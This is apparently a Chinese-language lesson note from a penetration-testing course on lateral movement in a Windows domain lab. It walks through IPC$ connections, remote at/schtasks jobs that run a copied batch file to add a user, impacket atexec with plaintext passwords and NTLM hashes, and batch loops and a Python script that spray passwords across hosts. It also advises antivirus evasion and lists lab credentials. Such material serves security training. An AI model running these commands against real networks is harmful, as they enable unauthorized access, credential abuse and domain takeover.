66:內網安全-域橫向批量at&schtasks&impacket
思維導圖
本課重點
- 案例1:橫向滲透明文傳遞
- 案例2:橫向滲透明文HASH傳遞atexec-impacket
- 案例3:橫向滲透明文HASH傳遞批量利用-綜合
- 案例4:橫向滲透明文HASH傳遞批量利用-升級版
環境準備
2008 r2 webserver 域內web伺服器 本地管理員賬號密碼: .\administraotr:admin!@#45 當前機器域使用者密碼: god\webadmin:admin!@#45 2003 x86 fileserver 域內檔案伺服器 本地管理員賬號密碼:administrator:admin 當前機器域使用者密碼: god\fileadmin:Admin12345 2008 r2 x64 dc god.org 主域控機器 域管賬號密碼: God\administrator:Admin12345 2012 sqlserver 域內資料庫伺服器 本地管理員賬號密碼:.\administrator:admin!@#45 當前機器域使用者密碼:god\dbadmin:admin!@#45 w7 x64 mary-pc 域內個人機 本地管理員賬號密碼:.\mary:admin 當前機器域使用者密碼:god\mary:admin!@#45 w8.1 x64 jack-pc 域內個人機 本地管理員賬號密碼:.\jack:admin 當前機器域使用者密碼:god\boss:Admin12345
案例1:橫向滲透明文傳遞
在拿下一臺內網主機,通過本地資訊蒐集收集使用者憑據等資訊後,如何橫向滲透拿下更多的主機?這裡僅介紹at&schtasks命令的使用,在已知目標系統的使用者明文密碼的基礎上,直接可在遠端主機上執行命令。
獲取到某域主機許可權-> minikatz得到密碼(明文,hash)->用到資訊收集裡面域使用者的列表當做使用者名稱字典->用到密碼明文當做字典->嘗試連線->建立計劃任務(at|schtasks)->執行檔案可為後門或者相關命令
IPC( Internet Process Connection)是共享“命名管道”的資管,它是為了讓進城間通訊而開放的命名管道,可以通過驗證使用者名稱和密碼獲得相關的許可權,在遠端管路計算機和檢視計算機的共享資源時使用。
利用流程:
- 1.建立IPC連結到目標主機
- 2.拷貝要執行的命令指令碼到目標主機
- 3.檢視目標時間,建立計劃任務( at,schtasks )定時執行拷貝到的指令碼
- 4.刪除IPC連結
net use \\server\ipc$"password" /user:username # 工作組 net use \\server\ipc$"password" /user:domain\username #域內 dir \\xx.xx.xx.xx\C$\ # 檢視檔案列表 copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下載檔案 copy 1.bat \\xx.xx.xx.xx\C$ # 複製檔案 net use \\xx.xx.xx.xx\C$\1.bat /del # 刪除檔案 net use \\xx.xx.xx.xx\ipc$ \del # 刪除IPC net view xx.xx.xx.xx # 檢視對方共享
建立IPC常見的錯誤程式碼
- (1) 5:拒絕訪問,可能是使用的不是管理員許可權,需要先提升許可權
- (2) 51:網路問題,windoows無法找到網路路徑
- (3) 53:找不到網站路徑,可能是IP地址錯誤,目標未開機,目標Lanmanserver服務未啟動、有防火牆等問題
- (4) 67:找不到網路名,本地Lanmanworkstation服務未啟動,目標刪除ipc$
- (5) 1219:提供的憑據和已存在的憑據集衝突,說明已建立IPC$,需要先刪除
- (6) 1326:賬號密碼錯誤
- (7) 1792:目標NetLogon服務未啟動,連線域控常常會出現此情況
- (8) 2242:使用者密碼過期,目標有賬號策略,強制定期更改密碼
建立IPC失敗的原因
- (1) 目標系統不是NT或以上的作業系統
- (2) 對方沒有開啟IPC$共享
- (3) 對方未開啟139,445埠,或者被防火牆遮蔽
- (4) 輸出命令,賬號密碼有錯誤
[at] & [schtasks]
#at < Windows2012 net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc連線 copy add.bat \192.168.3.21\c$ #拷貝執行檔案到目標機器 at \\192.168.3.21 15:47 c:\add.bat #新增計劃任務 schtasks >=Windows2012 net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc連線 copy add.bat \\192.168.3.32\c$ #複製檔案到其C盤 schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #建立adduser任務對應執行檔案 schtasks /run /s 192.168.3.32 /tn adduser /i #執行adduser任務 schtasks /delete /s 192.168.3.21 /tn adduser /f#刪除adduser任務
案例演示
<1>獲取到DC的IP地址。執行以下兩個命令時,需要域使用者登入,而不是本地使用者登入
<2>假設已經找到DC的使用者名稱密碼(具體後面再詳細講)
<3>橫向滲透
由於域控DC是Win2008R2(< Windows2012),可以使用at命令。
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc連線 copy add.bat \192.168.3.21\c$ #拷貝執行檔案到目標機器 at \\192.168.3.21 15:47 c:\add.bat #新增計劃任務
一段時候後,xiaodi使用者就自動新增成功了。
<4>如果目標計算機>=Windows2012,需要使用schtasks命令。
比如前期資訊收集得到了sqlserver的使用者名稱密碼,SqlServer是window2012系統。
如下圖,當使用域使用者登入時,copy是失敗的,原因是許可權不夠,應該使用本地使用者登入。
使用本地使用者登入,執行如下命令
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc連線 copy add.bat \\192.168.3.32\c$ #複製檔案到其C盤 schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #建立adduser任務對應執行檔案 schtasks /run /s 192.168.3.32 /tn adduser /i #執行adduser任務 schtasks /delete /s 192.168.3.21 /tn adduser /f#刪除adduser任務
等待一段時間,成功新增新使用者。
net user 檢視使用者中是否多了一個xiaodi net user xiaodi 檢視xiaodi賬戶建立時間是否為剛才計劃任務的時間 net user xiaodi /del 不需要了的話可以刪除
案例2:橫向滲透明文HASH傳遞atexec-impacket
atexec
- 優點:一句話命令,連線、提權全部搞定。
- 缺點:第三方工具,非微軟官方工具,易被防毒軟體查殺,實戰中需要自己做一下免殺。
- atexec是Impacket網路協議工具包中的一個工具。Impacket工具包介紹:https://www.freebuf.com/sectool/175208.html
atexec.exe ./administrator:[email protected] "whoami" atexec.exe god/administrator:[email protected] "whoami" atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] "whoami"
案例演示
<1>impacket工具包下載,可下載exe版本
- 地址:https://gitee.com/RichChigga/impacket-examples-windows
<2>執行命令,直接提權
案例3:橫向滲透明文HASH傳遞批量利用-綜合
FOR /F %%i in (ips.txt) do net use \%%i\ipc$ "admin!@#45" /user:administrator #批量檢測IP對應明文連線 FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量檢測IP對應明文回顯版 FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%[email protected] whoami #批量檢測明文對應IP回顯版 FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./[email protected] whoami #批量檢測HASH對應IP回顯版
<1>websever登入,執行mimikatz,得到使用者名稱密碼。
<2>用微軟自帶命令探測網段存活主機
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL =" 自帶內部命令(推薦使用)
<3>批量檢測IP對應明文連線
FOR /F %%i in (ips.txt) do net use \%%i\ipc$ "admin!@#45" /user:administrator #批量檢測IP對應明文連線
發現網段內另一臺主機192.168.3.29(jack-pc)與webserver用了相同的賬戶密碼,並且可以直接提權到system許可權。
<4>在jack-pc上執行mimikatz,獲取到另一個賬戶密碼。
<5>接下來,可以使用新密碼繼續批量檢測IP對應明文。
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量檢測IP對應明文回顯版
執行at_ip.bat,發現192,.168.3.21也用了該密碼,而它正好就是域控!
<6>或者可以採用另一種方法,由於此時我們已經拿到了2個真實的賬號密碼,可以寫一個字典表,直接去探測域控。
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%[email protected] whoami #批量檢測明文對應IP回顯版 FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./[email protected] whoami #批量檢測HASH對應IP回顯版
執行at_ip.bat,找到了域控192,.168.3.21的密碼!直接提權!
當然了,這是我們測試環境,實戰中一般沒這麼快!至少需要很多輪的資訊收集,才能逐漸靠近域控。
案例4:橫向滲透明文HASH傳遞批量利用-升級版
前期除了收集明文密碼HASH等,還收集了使用者名稱,使用者名稱配合密碼字典能吃西瓜?
net use \192.168.3.32\ipc$ admin!@#45 /user:god\dbadmin
案例3中都是批處理命令,只能遍歷一個變數(不知道可不可遍歷2個變數,反正我不會寫),如果想要遍歷多個變數,比如IP、使用者名稱、密碼等,可以寫python指令碼,免殺,使用Pyinstaller打包成exe檔案,上傳到目標機器執行。
指令碼(最好寫成多執行緒的)
import os,time ips={ '192.168.3.21', '192.168.3.25', '192.168.3.29', '192.168.3.30', '192.168.3.31', '192.168.3.33' } users={ 'Administrator', 'boss', 'dbadmin', 'fileadmin', 'mack', 'mary', 'vpnadm', 'webadmin' } passs={ 'admin', 'admin!@#45', 'Admin12345' } for ip in ips: for user in users: for mima in passs: exec="net use \"+ "\"+ip+'\ipc$ '+mima+' /user:god\'+user print('--->'+exec+'<---') os.system(exec) time.sleep(1)
編譯
pip install pyinstaller pyinstaller -F fuck_neiwang_001.py 生成可執行EXE
案例演示
<1>首先,檢視網路連線,此時結果是空的,沒有連線;然後執行exe檔案,結束後再次檢視網路連線,發現連線上了5臺主機。
<2>接下來,拷貝執行檔案到目標主機,執行at或者schtasks命令建立任務即可。